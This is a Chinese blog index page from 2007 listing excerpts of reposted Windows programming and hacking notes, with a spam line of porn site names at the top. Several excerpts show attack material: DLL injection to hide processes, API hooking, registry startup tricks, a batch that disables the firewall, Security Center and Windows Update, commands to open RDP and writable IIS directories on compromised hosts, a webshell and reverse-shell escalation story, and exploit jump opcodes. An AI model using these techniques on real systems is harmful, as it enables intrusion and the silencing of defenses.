91ph在线,电影午夜精品一区二区三区,xxxxx成人.com

LNK1103: debugging information corrupt; recompile module

摘要: Linking...
Creating library Debug/xxx.lib and object Debug/xxx.exp
uuid.lib(comcat.obj) : fatal error LNK1103: debugging information corrupt; recompile module
Error executing link.exe.
.........
閱讀全文

posted @ 2007-05-31 17:25 009 閱讀(7413) | 評論 (6) | 編輯收藏

控制臺下輸出DLL的調試信息(ZT)

摘要: 在cmd.exe下運行rundll32.exe mydll.dll,MyFunc ,本想直接在當前cmd窗口輸出調試信息.
可因rundll32是Win32 GUI程序而非Win32 console,所以cmd.exe標準輸入輸出句柄無法被mydll.dll繼承用來向父進程cmd.exe輸出數據.
這時, 如果用強行用GetStdHandle獲得句柄,然后用WriteConsole來進行輸出,則會發生無效句柄錯誤.
但是如果在這之前先AllocConsole,則可正常WriteConsole,但是會新建個控制臺窗口來輸出數據,很不爽 :-P

有沒有什么辦法向當前cmd.exe窗口輸出數據呢?
.............
閱讀全文

posted @ 2007-05-31 14:22 009 閱讀(1181) | 評論 (0) | 編輯收藏

char *和char [ ]的區別(ZT)

摘要: 見程序如下：

#include "stdafx.h"
#include "string.h"
#include "stdio.h"
int main(int argc, char* argv[])
{
char source[]="This is a source sentence";
//char *source="This is a source sentence";
strtok(source,"a");
printf("%s\n",source);
return 0;
}

如果用被注釋掉的那句話，程序運行的時候就報錯。
................

閱讀全文

posted @ 2007-05-31 13:25 009 閱讀(447) | 評論 (0) | 編輯收藏

Windows下的進程隱藏(ZT)

摘要: 9X環境中Windows提供了想光的API函數用于隱藏系統進程。但是到了2000以上系統，已經無法真正的做到對于進程的隱藏，除非編寫底層驅動。但是我們可以通過一些變通的辦法來達到隱藏進程的目的，其中一個就是遠程注入。簡單的說就是先編寫一個 API的DLL，然后將這個DLL庫注入到一個系統進程中，作為它的一個線程去執行。
要實現DLL注入，首先需要打開目標進程。
hRemoteProcess = OpenProcess(　PROCESS_CREATE_THREAD | //允許遠程創建線程
　　　 PROCESS_VM_OPERATION　| //允許遠程VM操作
　　　 PROCESS_VM_WRITE,　//允許遠程VM寫
　　　 FALSE, dwRemoteProcessId )
...........
閱讀全文

posted @ 2007-05-31 12:25 009 閱讀(693) | 評論 (0) | 編輯收藏

ApiHook類(ZT)

摘要: // 頭文件
// ApiHook.h: interface for the CApiHook class.
//
//////////////////////////////////////////////////////////////////////

#ifndef API_HOOK_H
#define API_HOOK_H

class CApiHook
{
public :
HANDLE hProc ;
............
閱讀全文

posted @ 2007-05-31 11:38 009 閱讀(764) | 評論 (1) | 編輯收藏

APIHOOK之攔截OpenProcess（真正的實現了攔截TerminateProcess）(ZT)

摘要:
關于API HOOK（OpenProcess)，根據網上文章改寫
以下是部分程序，在VC++6.0 Plat SDK 2003 SP1下編譯通過

#include <windows.h>
#include "APIHook.h"

extern CAPIHook g_OpenProcess;

// 自定義OpenProcess函數
#pragma data_seg("YCIShared")
HHOOK g_hHook = NULL;
DWORD dwCurrentProcessId=0;
#pragma data_seg()

HANDLE WINAPI Hook_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
.................
閱讀全文

posted @ 2007-05-31 11:33 009 閱讀(2973) | 評論 (0) | 編輯收藏

APIHOOK之殺毒軟件的簡單實現(ZT)

摘要: #define DEBUGMSG

#include <windows.h>
#include <windef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "Psapi.h"

#pragma comment (lib,"Psapi.lib")

#define erron GetLastError ()

TCHAR name[50]=""; //保存蟲蟲的文件名+路徑
FILE *Gfp=NULL; //輸出到文件

BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征碼函數
.......................
閱讀全文

posted @ 2007-05-31 11:31 009 閱讀(519) | 評論 (0) | 編輯收藏

應用層隱藏服務的項目(ZT)

摘要: 應用層隱藏服務的項目 2006-03-28
HideService
　

// *****************************************************************************//
//
// 文件名: AgentHk.cpp
// 所屬項目名稱：
// 所屬模塊名稱： AGENT Service Hook
// 所屬項目版本： 2.0
// 文件用途 :
// 文件作者 : horse_b
// 創建日期 : 2004-11-30
//
// 文件修改說明：
// 文件修改人：
// 修改日期：
//
//
//
//********************************************************************************//
.............
閱讀全文

posted @ 2007-05-31 10:37 009 閱讀(903) | 評論 (0) | 編輯收藏

啟動項新思路

摘要: 前幾天我看了一篇技術文章，是講述一種病毒的感染運行機制。原文中提到了一個木馬啟動的新的思路。（文章是兩年前的，唉，看來我們要學的東西好多阿）也許某些 ~高手已經會了，但是很多人也不知道。我整理出來，結合我自己的試驗，給大家簡單介紹一下。作為一個小教程，本文不涉及程序方面的知識，菜鳥老鳥都能看明白的。暫時我們只針對XP和2000系統。其他的系統我沒測試過，不敢亂說！

一般大家機器里都會有QQ吧，我們就用QQ來做試驗！！?

直接在開始菜單里找到運行欄，輸入regedit，打開注冊表編輯器。找到
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
.........
閱讀全文

posted @ 2007-05-22 22:57 009 閱讀(398) | 評論 (1) | 編輯收藏

一個VBS代碼

posted @ 2007-05-16 16:06 009 閱讀(631) | 評論 (0) | 編輯收藏

WSUS3安裝完畢，WSUS.MSC不能執行

摘要: 風馬牛不相及的垃圾提示：

MMC 不能打開文件 C:\Program Files\Update Services\administrationsnapin\wsus.msc。
這可能是由于文件不存在，不是一個 MMC 控制臺，或者用后來版本的 MMC 創建。也可能是由于您沒有訪問此文件的足夠權限。

解決方法：

安裝KB907265補丁，中文Windows2003補丁地址為：http://download.microsoft.com/download/4/4/3/443ecb98-2394-4c92-b9e6-c50998edb8cf/WindowsServer2003-KB907265-x86-CHS.exe
閱讀全文

posted @ 2007-05-15 19:25 009 閱讀(774) | 評論 (0) | 編輯收藏

WSUS3安裝中途出錯

摘要: 2007-05-15 18:19:20 Success MWUSSetup Validating pre-requisites...
2007-05-15 18:19:21 Error MWUSSetup Failed to determine if an higher version of WSUS is installed. Assuming it is not... (Error 0x80070002: 系統找不到指定的文件。)
2007-05-15 18:19:24 Success MWUSSetup Required MMC Version: 3. Current MMC Version: 2
2007-05-15 18:19:24 Success MWUSSetup Required MMC Version: 3. Current MMC Version: 2
2007-05-15 18:19:57 Success MWUSSetup 閱讀全文

posted @ 2007-05-15 18:47 009 閱讀(2439) | 評論 (4) | 編輯收藏

Vista錯誤刪除了備份驅動目錄FileRepository后解決方法

摘要: 網上的東西真是沒多少可以相信的，我的Vista刪除了FileRepository目錄之后，USB不能用了，藍牙不能用了，設備管理器一堆感嘆號，更新驅動，塞Vista安裝盤也沒用，折騰了N久了，最近終于解決了（不要隨便相信所謂的“減肥”）
下載IMAGEX6000
將VISTA安裝光盤中的WIM文件解壓
以管理員模式運行命令提示符 IMAGEX.EXE /APPLY X:\SOURCES\INSTALL.WIM 4 X:\A 路徑自己改，目錄需先手工創建，4為U版
完成后把X:\A\Windows\System32\DriverStore\FileRepository中的文件復制回去就行了,不用重裝系統!
真想減肥，使用NTFS壓縮方式壓縮一下，其他就算了，以防萬一
閱讀全文

posted @ 2007-05-15 18:43 009 閱讀(5255) | 評論 (5) | 編輯收藏

網頁木馬US-ASCII碼,unicode碼的加密解密(ZT)

摘要: 轉載:二少's Blog

US-ASCII加密,就是把7bit轉換為8bit

閱讀全文

posted @ 2007-05-12 21:06 009 閱讀(345) | 評論 (0) | 編輯收藏

利用ORACLE系統賬戶默認口令提升權限(ZT)

摘要:
近日，偶到一主機上逛了一圈。主機的配置還算是安全，偏偏一個比較隱藏的目錄下殘留了upfile.asp，結果輕輕松松的得到了webshell。

接著在主機上逛了逛，拿出superscan從外面掃了下，只開放了80端口。從user\程序目錄里，發現有一快捷方式：firecontrol，好象是某款硬件防火墻的控制臺。WEBSHELL下檢測了下開放的服務，發現一般的可提權的方法都不可行，無SERV-U等等，主機的補丁也是打到了最新。試了下傳了個NC上去，反連接得到一SHELL，這下比在老兵的管理器里舒服多了。

在C盤下看到一個目錄oracle，看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件，確定了主機的服務名“xxx”，看了下版本“oracle 8i”，用數據庫連接器

............. 閱讀全文

posted @ 2007-04-30 14:37 009 閱讀(271) | 評論 (0) | 編輯收藏

命令行添加程序到windows默認防火墻

摘要: @echo off
net stop "Security Center"
net stop SharedAccess
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /t REG_DWORD /d 0x4 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 0x4 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /t REG_DWORD /d 0x4 /f
閱讀全文

posted @ 2007-04-22 12:25 009 閱讀(306) | 評論 (0) | 編輯收藏

“PE文件格式”1.9版完整譯文（附注釋）

摘要: 標題: 【翻譯】“PE文件格式”1.9版完整譯文（附注釋）
作者: ah007
時間: 2006-02-28,13:32
鏈接: http://bbs.pediy.com/showthread.php?threadid=21932

$Id: pe.txt,v 1.9 1999/03/20 23:55:09 LUEVELSMEYER Exp $

PE文件格式系列譯文之一----
【翻譯】“PE文件格式”1.9版完整譯文（附注釋）
=========================================================
原著：Bernd. Luevelsmeyer
翻譯：ah007

[注意：本譯文的所有大小標題序號都是譯者添加，以方便大家閱讀。圓圈內的數字是注釋的編號，其中注釋②譯自微軟的《PECOFF規范》，其它譯自網絡。----譯者]
......... 閱讀全文

posted @ 2007-04-13 17:58 009 閱讀(1022) | 評論 (0) | 編輯收藏

腳本加密方法大全(ZT)

摘要: 本文一共介紹了七種方法：
一：最簡單的加密解密
二：轉義字符"\"的妙用
三：使用Microsoft出品的腳本編碼器Script Encoder來進行編碼（自創簡單解碼）
四：任意添加NUL空字符（十六進制00H）（自創）
...................
閱讀全文

posted @ 2007-04-13 12:22 009 閱讀(380) | 評論 (0) | 編輯收藏

一些opcodes(ZT)

摘要: 近日在寫exploit的時候需要用到一些其他語言的call ebx的跳轉地址，但是metasploit的opcode DB沒有包括繁體中文、日文、韓文機器的跳轉地址，所以費了點時間收集了下，在這里要感謝傲少提供的機器給我去找地址。現在貼到這里，方便大家。

簡體中文windows的通用跳轉地址：(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..............
閱讀全文

posted @ 2007-04-10 11:48 009 閱讀(262) | 評論 (0) | 編輯收藏

開3389的幾種方法(留帖備查)

摘要: 1.打開記事本，編輯內容如下：
echo [Components] > c:\sql
echo TSEnable = on >> c:\sql
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
編輯好后存為BAT文件，上傳至肉雞，執行。這里值得注意的是要確定winnt是否在c盤，如果在其他盤則需要改動。
...................

閱讀全文

posted @ 2007-04-10 11:40 009 閱讀(319) | 評論 (0) | 編輯收藏

adsutil.vbs

摘要: web 和數據分離,有Pcanywhere,數據庫服務器有 IIS,
cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings 得到第一個Web服務的端口
cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/1/root/wodexi/ IisWebVirtualDir創建一個虛擬目錄wodexi
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/path c:\ 設置路徑
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/accesswrite 1設置寫權限
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi 閱讀全文

posted @ 2007-04-10 11:32 009 閱讀(763) | 評論 (0) | 編輯收藏

掛馬代碼大全(ZT)

摘要: 一:框架掛馬

二:js文件掛馬

首先將以下代碼
document.write("");
保存為xxx.js，
則JS掛馬代碼為

三:js變形加密

muma.txt可改成任意后綴
.............
閱讀全文

posted @ 2007-04-09 11:39 009 閱讀(246) | 評論 (0) | 編輯收藏

水果機密碼解碼 "密碼公式" 看了就知道怎么打暴機了(ZT)

摘要: 笨驢的老虎機一共有7個賭項，分別是：

bar，賠率50，出現概率1/22（不明白為什么用這個詞，英語達人來講講，偶門家鄉管這個叫大50）；
77，賠率30，出現概率1/11；
西瓜，賠率10，出現概率1/11；
星星，賠率8，出現概率3/22；
鈴當，賠率6，出現概率3/22；
木瓜，賠率4，出現概率2/11；
蘋果，賠率2，出現概率3/11；
...................
閱讀全文

posted @ 2007-04-09 11:11 009 閱讀(17669) | 評論 (2) | 編輯收藏

用ntfs流隱藏文件(zt)

摘要: 大家把ntfs分區上的文件拷貝到非ntfs分區上時, 可能偶爾遇到過下面的情況, 系統提示會有數據丟失, 這是怎么回事呢?

實際上ntfs文件系統引入了"流"這個概念, 每個文件都可以有多個流, 而我們一般只使用了一個, 通過給文件分配更多的流, 可以實現某種意義上的"文件隱藏". 例如可以控制臺中使用下面的命令建立一個文本文件:
dir d:>abc.txt
............
閱讀全文

posted @ 2007-04-05 21:52 009 閱讀(955) | 評論 (0) | 編輯收藏

冰刃IceSword FAQ 進程、端口、服務篇(ZT)

摘要: 問：現在進程端口工具很多，什么要使用IceSword？
答：1、絕大多數所謂的進程工具都是利用Windows的Toolhlp32或psapi再或ZwQuerySystemInformation系統調用（前二者最終也用到此調用）來編寫，隨便一個ApiHook就可輕輕松松干掉它們，更不用說一些內核級后門了；極少數工具利用內核線程調度結構來查詢進程，這種方案需要硬編碼，不僅不同
版本系統不同，打個補丁也可能需要升級程序，并且現在有人也提出過防止此
種查找的方法。而IceSword的進程查找核心態方案是目前獨一無二的，并且
充分考慮內核后門可能的隱藏手段，目前可以查出所有隱藏進程。
2、絕大多數工具查找進程路徑名也是通過Toolhlp32、psapi，前者會調用RtlDebug***函數向目標注入遠線程，后者會用調試api讀取目標進程內存，本質上都是對PEB的枚舉，前面我的blog提到過輕易修改PEB就讓這些工具找不到北了。而IceSword的核心態方案原原本本地將全路徑展示，就算運行時剪切到其他路徑也會隨之顯示。
3、進程dll 閱讀全文

posted @ 2007-04-04 15:15 009 閱讀(439) | 評論 (0) | 編輯收藏

公告

常用鏈接

留言簿(113)

隨筆分類

隨筆檔案

文章分類

相冊

Link

搜索

最新評論

閱讀排行榜

評論排行榜

酒水不犯茶水葉的離去，是風的追求還是樹的不挽留？
BlogJava \| 首頁 \| 發新隨筆 \| 發新文章 \| 聯系 \| 聚合 \| 管理	隨筆：325 文章：0 評論：612 引用：0